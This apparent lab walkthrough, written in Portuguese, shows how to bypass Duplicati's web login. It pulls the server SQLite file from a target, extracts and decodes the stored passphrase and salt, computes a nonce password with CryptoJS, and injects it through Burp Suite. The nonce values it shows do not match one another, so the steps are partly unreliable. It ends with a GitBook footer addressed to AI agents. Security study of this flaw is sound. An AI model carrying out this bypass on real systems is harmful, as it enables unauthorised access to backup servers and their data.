> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati - Bypass da autenticação de login

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Durante a análise do alvo, um **Duplicati** portal web é descoberto. O portal expõe um painel de autenticação que exige uma senha.

<figure><img src="/files/d3246ebb259b65bf87bd59e69c3bb5512e18eaba" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati é um cliente de backup que armazena backups criptografados, incrementais e compactados de arquivos locais em provedores de armazenamento em nuvem ou servidores de arquivos.
{% endhint %}

A enumeração do sistema localiza o diretório de configuração do Duplicati em `/opt/duplicati`. O arquivo SQLite `Duplicati-server.sqlite` pode conter informações sensíveis.

<figure><img src="/files/36d7712ff2702a4c5f81d4aa0256610fc04f1726" alt=""><figcaption></figcaption></figure>

#### Baixando o Arquivo SQLite

Para analisar o arquivo, faça o download para a máquina do atacante usando um servidor HTTP em Python:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/cece648e2da1fa1b585dfd117c1c249182ebc767" alt=""><figcaption></figcaption></figure>

#### Análise do Arquivo SQLite

Abra o arquivo com `sqlite3` para inspecionar seu conteúdo:

```bash
sqlite3 Duplicati-server.sqlite
```

Liste as tabelas e selecione a `opção` tabela para extração de dados:

```sql
.tables
select * from option;
```

<figure><img src="/files/606adfc2ce0f2cca495cec94b857a27dedf4fad8" alt=""><figcaption></figcaption></figure>

| Chave                             | Valor                                          |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Conversão da frase-senha

O `server-passphrase` o valor está codificado em Base64. Decodifique-o e converta-o para hexadecimal com:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/d389e60ff77064bdc0d513719f02e15566ef898f" alt=""><figcaption></figcaption></figure>

#### Isso fornece o seguinte valor hexadecimal:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Cálculo Final da Senha

Para gerar a senha final, execute os seguintes passos no console do navegador:

**Defina a frase-senha com salt:**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Interceptando a requisição com o Burp Suite

Intercepte a requisição no Burp Suite, escolha `Intercepte > Resposta para esta requisição`, depois clique em `Avançar`.

<figure><img src="/files/64acd6127f72c2c499bc5f22cfcb5f86b6ef9745" alt=""><figcaption></figcaption></figure>

Uma requisição HTTP interceptada com **Burp Suite** revela os seguintes valores:

<figure><img src="/files/66a2b36c9ba3cf0df0d954a213526d66bb2992dc" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

O `Salt` campo corresponde ao `server-passphrase-salt` valor extraído do banco de dados.

**Calcule a senha nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Exiba o resultado:**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/81afd87cc23584aa675730ebaf1e8fb7a52ec6fa" alt=""><figcaption></figcaption></figure>

A senha gerada (`noncedpwd`) é:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Injeção e Exploração da Senha

1. Cole a senha calculada.
2. Use **Ctrl + U** para codificá-la em URL.

<figure><img src="/files/dfde03a416c48e4ea46a6957326cd4ae0fc34c3a" alt=""><figcaption></figcaption></figure>

3. Clique **Avançar** novamente para concluir a exploração.

<figure><img src="/files/e4233c99c5fcccea359e2df7d56a72e2e069bbaf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
